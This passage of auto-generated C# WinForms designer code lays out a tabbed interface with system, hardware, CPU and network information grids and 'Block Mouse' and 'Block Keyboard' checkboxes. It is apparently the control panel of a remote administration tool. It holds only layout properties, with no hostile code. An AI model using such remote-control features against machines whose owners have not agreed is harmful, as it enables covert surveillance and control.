System.Drawing.Point(4, 44); this.tabPage30.Name = "tabPage30"; this.tabPage30.Padding = new System.Windows.Forms.Padding(0, 40, 0, 0); this.tabPage30.Size = new System.Drawing.Size(1075, 378); this.tabPage30.TabIndex = 0; this.tabPage30.Text = "System"; // // retrieveInformationGuna2Button // this.retrieveInformationGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.retrieveInformationGuna2Button.Animated = true; this.retrieveInformationGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.retrieveInformationGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.retrieveInformationGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.retrieveInformationGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.retrieveInformationGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.retrieveInformationGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.retrieveInformationGuna2Button.ForeColor = System.Drawing.Color.White; this.retrieveInformationGuna2Button.Location = new System.Drawing.Point(2, 3); this.retrieveInformationGuna2Button.Name = "retrieveInformationGuna2Button"; this.retrieveInformationGuna2Button.Size = new System.Drawing.Size(1071, 33); this.retrieveInformationGuna2Button.TabIndex = 35; this.retrieveInformationGuna2Button.Text = "Retrieve information"; this.retrieveInformationGuna2Button.Click += new System.EventHandler(this.retrieveInformationGuna2Button_Click); // // panel22 // this.panel22.Dock = System.Windows.Forms.DockStyle.Left; this.panel22.Location = new System.Drawing.Point(571, 40); this.panel22.Name = "panel22"; this.panel22.Size = new System.Drawing.Size(6, 338); this.panel22.TabIndex = 11; // // guna2GroupBox2 // this.guna2GroupBox2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox2.BorderThickness = 0; this.guna2GroupBox2.Controls.Add(this.panel16); this.guna2GroupBox2.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox2.Dock = System.Windows.Forms.DockStyle.Fill; this.guna2GroupBox2.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.guna2GroupBox2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.guna2GroupBox2.Location = new System.Drawing.Point(571, 40); this.guna2GroupBox2.Name = "guna2GroupBox2"; this.guna2GroupBox2.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2); this.guna2GroupBox2.Size = new System.Drawing.Size(504, 338); this.guna2GroupBox2.TabIndex = 9; this.guna2GroupBox2.Text = "System"; // // panel16 // this.panel16.Controls.Add(this.guna2VScrollBar11); this.panel16.Controls.Add(this.systemInformationDataGridView); this.panel16.Dock = System.Windows.Forms.DockStyle.Fill; this.panel16.Location = new System.Drawing.Point(2, 42); this.panel16.Name = "panel16"; this.panel16.Padding = new System.Windows.Forms.Padding(2, 2, 2, 0); this.panel16.Size = new System.Drawing.Size(500, 294); this.panel16.TabIndex = 19; // // guna2VScrollBar11 // this.guna2VScrollBar11.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar11.FillColor = System.Drawing.Color.White; this.guna2VScrollBar11.InUpdate = false; this.guna2VScrollBar11.LargeChange = 10; this.guna2VScrollBar11.Location = new System.Drawing.Point(480, 2); this.guna2VScrollBar11.Minimum = 1; this.guna2VScrollBar11.Name = "guna2VScrollBar11"; this.guna2VScrollBar11.ScrollbarSize = 18; this.guna2VScrollBar11.Size = new System.Drawing.Size(18, 292); this.guna2VScrollBar11.TabIndex = 22; this.guna2VScrollBar11.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.guna2VScrollBar11.Value = 1; // // systemInformationDataGridView // this.systemInformationDataGridView.AllowDrop = true; this.systemInformationDataGridView.AllowUserToAddRows = false; this.systemInformationDataGridView.AllowUserToDeleteRows = false; this.systemInformationDataGridView.AllowUserToResizeColumns = false; this.systemInformationDataGridView.AllowUserToResizeRows = false; this.systemInformationDataGridView.BackgroundColor = System.Drawing.Color.White; this.systemInformationDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.systemInformationDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.systemInformationDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle43.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle43.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle43.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle43.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle43.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle43.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle43.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.systemInformationDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle43; this.systemInformationDataGridView.ColumnHeadersHeight = 36; this.systemInformationDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column40, this.Column41}); this.systemInformationDataGridView.ContextMenuStrip = this.nativePEContextMenuStrip; this.systemInformationDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.systemInformationDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.systemInformationDataGridView.EnableHeadersVisualStyles = false; this.systemInformationDataGridView.GridColor = System.Drawing.Color.White; this.systemInformationDataGridView.Location = new System.Drawing.Point(2, 2); this.systemInformationDataGridView.Name = "systemInformationDataGridView"; this.systemInformationDataGridView.ReadOnly = true; this.systemInformationDataGridView.RowHeadersVisible = false; dataGridViewCellStyle45.BackColor = System.Drawing.Color.White; dataGridViewCellStyle45.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle45.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle45.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.systemInformationDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle45; this.systemInformationDataGridView.RowTemplate.Height = 26; this.systemInformationDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.systemInformationDataGridView.Size = new System.Drawing.Size(496, 292); this.systemInformationDataGridView.TabIndex = 18; this.systemInformationDataGridView.TabStop = false; // // Column40 // this.Column40.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle44.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column40.DefaultCellStyle = dataGridViewCellStyle44; this.Column40.FillWeight = 25F; this.Column40.HeaderText = "Information"; this.Column40.Name = "Column40"; this.Column40.ReadOnly = true; // // Column41 // this.Column41.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column41.FillWeight = 25F; this.Column41.HeaderText = "Value"; this.Column41.Name = "Column41"; this.Column41.ReadOnly = true; // // guna2GroupBox1 // this.guna2GroupBox1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox1.BorderThickness = 0; this.guna2GroupBox1.Controls.Add(this.panel15); this.guna2GroupBox1.Controls.Add(this.panel13); this.guna2GroupBox1.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox1.Dock = System.Windows.Forms.DockStyle.Left; this.guna2GroupBox1.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.guna2GroupBox1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.guna2GroupBox1.Location = new System.Drawing.Point(0, 40); this.guna2GroupBox1.Name = "guna2GroupBox1"; this.guna2GroupBox1.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2); this.guna2GroupBox1.Size = new System.Drawing.Size(571, 338); this.guna2GroupBox1.TabIndex = 8; this.guna2GroupBox1.Text = "Hardware"; // // panel15 // this.panel15.Controls.Add(this.componentsDataGridView); this.panel15.Controls.Add(this.guna2VScrollBar10); this.panel15.Dock = System.Windows.Forms.DockStyle.Fill; this.panel15.Location = new System.Drawing.Point(281, 42); this.panel15.Name = "panel15"; this.panel15.Padding = new System.Windows.Forms.Padding(2, 2, 2, 0); this.panel15.Size = new System.Drawing.Size(288, 294); this.panel15.TabIndex = 21; // // componentsDataGridView // this.componentsDataGridView.AllowDrop = true; this.componentsDataGridView.AllowUserToAddRows = false; this.componentsDataGridView.AllowUserToDeleteRows = false; this.componentsDataGridView.AllowUserToResizeColumns = false; this.componentsDataGridView.AllowUserToResizeRows = false; this.componentsDataGridView.BackgroundColor = System.Drawing.Color.White; this.componentsDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.componentsDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.componentsDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle46.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle46.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle46.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle46.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle46.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle46.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle46.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.componentsDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle46; this.componentsDataGridView.ColumnHeadersHeight = 36; this.componentsDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column38, this.Column39}); this.componentsDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.componentsDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.componentsDataGridView.EnableHeadersVisualStyles = false; this.componentsDataGridView.GridColor = System.Drawing.Color.White; this.componentsDataGridView.Location = new System.Drawing.Point(2, 2); this.componentsDataGridView.Name = "componentsDataGridView"; this.componentsDataGridView.ReadOnly = true; this.componentsDataGridView.RowHeadersVisible = false; dataGridViewCellStyle48.BackColor = System.Drawing.Color.White; dataGridViewCellStyle48.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle48.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle48.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.componentsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle48; this.componentsDataGridView.RowTemplate.Height = 26; this.componentsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.componentsDataGridView.Size = new System.Drawing.Size(266, 292); this.componentsDataGridView.TabIndex = 19; this.componentsDataGridView.TabStop = false; // // Column38 // this.Column38.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle47.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column38.DefaultCellStyle = dataGridViewCellStyle47; this.Column38.FillWeight = 25F; this.Column38.HeaderText = "Component"; this.Column38.Name = "Column38"; this.Column38.ReadOnly = true; // // Column39 // this.Column39.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column39.FillWeight = 25F; this.Column39.HeaderText = "Value"; this.Column39.Name = "Column39"; this.Column39.ReadOnly = true; // // guna2VScrollBar10 // this.guna2VScrollBar10.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar10.FillColor = System.Drawing.Color.White; this.guna2VScrollBar10.InUpdate = false; this.guna2VScrollBar10.LargeChange = 10; this.guna2VScrollBar10.Location = new System.Drawing.Point(268, 2); this.guna2VScrollBar10.Minimum = 1; this.guna2VScrollBar10.Name = "guna2VScrollBar10"; this.guna2VScrollBar10.ScrollbarSize = 18; this.guna2VScrollBar10.Size = new System.Drawing.Size(18, 292); this.guna2VScrollBar10.TabIndex = 21; this.guna2VScrollBar10.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.guna2VScrollBar10.Value = 1; // // panel13 // this.panel13.Controls.Add(this.cpuDataGridView); this.panel13.Controls.Add(this.guna2VScrollBar9); this.panel13.Controls.Add(this.panel14); this.panel13.Dock = System.Windows.Forms.DockStyle.Left; this.panel13.Location = new System.Drawing.Point(2, 42); this.panel13.Name = "panel13"; this.panel13.Padding = new System.Windows.Forms.Padding(2); this.panel13.Size = new System.Drawing.Size(279, 294); this.panel13.TabIndex = 20; // // cpuDataGridView // this.cpuDataGridView.AllowDrop = true; this.cpuDataGridView.AllowUserToAddRows = false; this.cpuDataGridView.AllowUserToDeleteRows = false; this.cpuDataGridView.AllowUserToResizeColumns = false; this.cpuDataGridView.AllowUserToResizeRows = false; this.cpuDataGridView.BackgroundColor = System.Drawing.Color.White; this.cpuDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.cpuDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.cpuDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle49.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle49.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle49.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle49.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle49.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle49.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle49.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.cpuDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle49; this.cpuDataGridView.ColumnHeadersHeight = 36; this.cpuDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column36, this.Column37}); this.cpuDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.cpuDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.cpuDataGridView.EnableHeadersVisualStyles = false; this.cpuDataGridView.GridColor = System.Drawing.Color.White; this.cpuDataGridView.Location = new System.Drawing.Point(2, 2); this.cpuDataGridView.Name = "cpuDataGridView"; this.cpuDataGridView.ReadOnly = true; this.cpuDataGridView.RowHeadersVisible = false; dataGridViewCellStyle51.BackColor = System.Drawing.Color.White; dataGridViewCellStyle51.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle51.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle51.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.cpuDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle51; this.cpuDataGridView.RowTemplate.Height = 26; this.cpuDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.cpuDataGridView.Size = new System.Drawing.Size(252, 290); this.cpuDataGridView.TabIndex = 18; this.cpuDataGridView.TabStop = false; // // Column36 // this.Column36.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle50.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column36.DefaultCellStyle = dataGridViewCellStyle50; this.Column36.FillWeight = 25F; this.Column36.HeaderText = "CPU Features"; this.Column36.Name = "Column36"; this.Column36.ReadOnly = true; // // Column37 // this.Column37.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column37.FillWeight = 25F; this.Column37.HeaderText = "Present"; this.Column37.Name = "Column37"; this.Column37.ReadOnly = true; // // guna2VScrollBar9 // this.guna2VScrollBar9.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar9.FillColor = System.Drawing.Color.White; this.guna2VScrollBar9.InUpdate = false; this.guna2VScrollBar9.LargeChange = 10; this.guna2VScrollBar9.Location = new System.Drawing.Point(254, 2); this.guna2VScrollBar9.Minimum = 1; this.guna2VScrollBar9.Name = "guna2VScrollBar9"; this.guna2VScrollBar9.ScrollbarSize = 18; this.guna2VScrollBar9.Size = new System.Drawing.Size(18, 290); this.guna2VScrollBar9.TabIndex = 20; this.guna2VScrollBar9.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.guna2VScrollBar9.Value = 1; // // panel14 // this.panel14.Dock = System.Windows.Forms.DockStyle.Right; this.panel14.Location = new System.Drawing.Point(272, 2); this.panel14.Name = "panel14"; this.panel14.Size = new System.Drawing.Size(5, 290); this.panel14.TabIndex = 19; // // tabPage31 // this.tabPage31.BackColor = System.Drawing.Color.White; this.tabPage31.Controls.Add(this.guna2VScrollBar15); this.tabPage31.Controls.Add(this.networkInformationDataGridView); this.tabPage31.Controls.Add(this.retrieveNetworkGuna2Button); this.tabPage31.Location = new System.Drawing.Point(4, 44); this.tabPage31.Name = "tabPage31"; this.tabPage31.Padding = new System.Windows.Forms.Padding(0, 40, 0, 0); this.tabPage31.Size = new System.Drawing.Size(1075, 378); this.tabPage31.TabIndex = 1; this.tabPage31.Text = "Network"; // // guna2VScrollBar15 // this.guna2VScrollBar15.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar15.FillColor = System.Drawing.Color.White; this.guna2VScrollBar15.InUpdate = false; this.guna2VScrollBar15.LargeChange = 10; this.guna2VScrollBar15.Location = new System.Drawing.Point(1057, 40); this.guna2VScrollBar15.Minimum = 1; this.guna2VScrollBar15.Name = "guna2VScrollBar15"; this.guna2VScrollBar15.ScrollbarSize = 18; this.guna2VScrollBar15.Size = new System.Drawing.Size(18, 338); this.guna2VScrollBar15.TabIndex = 38; this.guna2VScrollBar15.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.guna2VScrollBar15.Value = 1; // // networkInformationDataGridView // this.networkInformationDataGridView.AllowDrop = true; this.networkInformationDataGridView.AllowUserToAddRows = false; this.networkInformationDataGridView.AllowUserToDeleteRows = false; this.networkInformationDataGridView.AllowUserToResizeColumns = false; this.networkInformationDataGridView.AllowUserToResizeRows = false; this.networkInformationDataGridView.BackgroundColor = System.Drawing.Color.White; this.networkInformationDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.networkInformationDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.networkInformationDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle52.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle52.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle52.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle52.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle52.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle52.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle52.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.networkInformationDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle52; this.networkInformationDataGridView.ColumnHeadersHeight = 36; this.networkInformationDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column48, this.Column49, this.Column50, this.Column51, this.Column52}); this.networkInformationDataGridView.ContextMenuStrip = this.nativePEContextMenuStrip; this.networkInformationDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.networkInformationDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.networkInformationDataGridView.EnableHeadersVisualStyles = false; this.networkInformationDataGridView.GridColor = System.Drawing.Color.White; this.networkInformationDataGridView.Location = new System.Drawing.Point(0, 40); this.networkInformationDataGridView.Name = "networkInformationDataGridView"; this.networkInformationDataGridView.ReadOnly = true; this.networkInformationDataGridView.RowHeadersVisible = false; dataGridViewCellStyle54.BackColor = System.Drawing.Color.White; dataGridViewCellStyle54.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle54.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle54.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.networkInformationDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle54; this.networkInformationDataGridView.RowTemplate.Height = 26; this.networkInformationDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.networkInformationDataGridView.Size = new System.Drawing.Size(1075, 338); this.networkInformationDataGridView.TabIndex = 37; this.networkInformationDataGridView.TabStop = false; // // retrieveNetworkGuna2Button // this.retrieveNetworkGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.retrieveNetworkGuna2Button.Animated = true; this.retrieveNetworkGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.retrieveNetworkGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.retrieveNetworkGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.retrieveNetworkGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.retrieveNetworkGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.retrieveNetworkGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.retrieveNetworkGuna2Button.ForeColor = System.Drawing.Color.White; this.retrieveNetworkGuna2Button.Location = new System.Drawing.Point(3, 3); this.retrieveNetworkGuna2Button.Name = "retrieveNetworkGuna2Button"; this.retrieveNetworkGuna2Button.Size = new System.Drawing.Size(1069, 33); this.retrieveNetworkGuna2Button.TabIndex = 36; this.retrieveNetworkGuna2Button.Text = "Retrieve information"; this.retrieveNetworkGuna2Button.Click += new System.EventHandler(this.retrieveNetworkGuna2Button_Click); // // tabPage18 // this.tabPage18.Controls.Add(this.panel18); this.tabPage18.Location = new System.Drawing.Point(4, 44); this.tabPage18.Name = "tabPage18"; this.tabPage18.Padding = new System.Windows.Forms.Padding(3); this.tabPage18.Size = new System.Drawing.Size(1083, 426); this.tabPage18.TabIndex = 4; this.tabPage18.Text = "Other"; this.tabPage18.UseVisualStyleBackColor = true; // // panel18 // this.panel18.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.panel18.Controls.Add(this.panel19); this.panel18.Location = new System.Drawing.Point(3, 3); this.panel18.Name = "panel18"; this.panel18.Padding = new System.Windows.Forms.Padding(25); this.panel18.Size = new System.Drawing.Size(1077, 420); this.panel18.TabIndex = 58; // // panel19 // this.panel19.Controls.Add(this.guna2GroupBox3); this.panel19.Controls.Add(this.guna2GroupBox5); this.panel19.Controls.Add(this.guna2GroupBox6); this.panel19.Controls.Add(this.guna2GroupBox8); this.panel19.Controls.Add(this.guna2GroupBox4); this.panel19.Controls.Add(this.guna2GroupBox7); this.panel19.Dock = System.Windows.Forms.DockStyle.Fill; this.panel19.Location = new System.Drawing.Point(25, 25); this.panel19.Name = "panel19"; this.panel19.Padding = new System.Windows.Forms.Padding(50); this.panel19.Size = new System.Drawing.Size(1027, 370); this.panel19.TabIndex = 58; // // guna2GroupBox3 // this.guna2GroupBox3.Anchor = System.Windows.Forms.AnchorStyles.None; this.guna2GroupBox3.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox3.BorderThickness = 0; this.guna2GroupBox3.Controls.Add(this.blockMouseGuna2CheckBox); this.guna2GroupBox3.Controls.Add(this.blockKeyboardGuna2CheckBox); this.guna2GroupBox3.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox3.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.guna2GroupBox3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.guna2GroupBox3.Location = new System.Drawing.Point(15, 15); this.guna2GroupBox3.Name = "guna2GroupBox3"; this.guna2GroupBox3.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2); this.guna2GroupBox3.Size = new System.Drawing.Size(254, 77); this.guna2GroupBox3.TabIndex = 10; this.guna2GroupBox3.Text = "Hardware"; // // blockMouseGuna2CheckBox // this.blockMouseGuna2CheckBox.AutoSize = true; this.blockMouseGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.blockMouseGuna2CheckBox.CheckedState.BorderRadius = 0; this.blockMouseGuna2CheckBox.CheckedState.BorderThickness = 0; this.blockMouseGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.blockMouseGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.blockMouseGuna2CheckBox.Location = new System.Drawing.Point(132, 45); this.blockMouseGuna2CheckBox.Name = "blockMouseGuna2CheckBox"; this.blockMouseGuna2CheckBox.Size = new System.Drawing.Size(91, 17); this.blockMouseGuna2CheckBox.TabIndex = 51; this.blockMouseGuna2CheckBox.Text = "Block Mouse"; this.blockMouseGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.blockMouseGuna2CheckBox.UncheckedState.BorderRadius = 0; this.blockMouseGuna2CheckBox.UncheckedState.BorderThickness = 0; this.blockMouseGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.blockMouseGuna2CheckBox.CheckedChanged += new System.EventHandler(this.blockMouseGuna2CheckBox_CheckedChanged); // // blockKeyboardGuna2CheckBox // this.blockKeyboardGuna2CheckBox.AutoSize = true; this.blockKeyboardGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.blockKeyboardGuna2CheckBox.CheckedState.BorderRadius = 0; this.blockKeyboardGuna2CheckBox.CheckedState.BorderThickness = 0; this.blockKeyboardGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.blockKeyboardGuna2CheckBox.ForeColor = 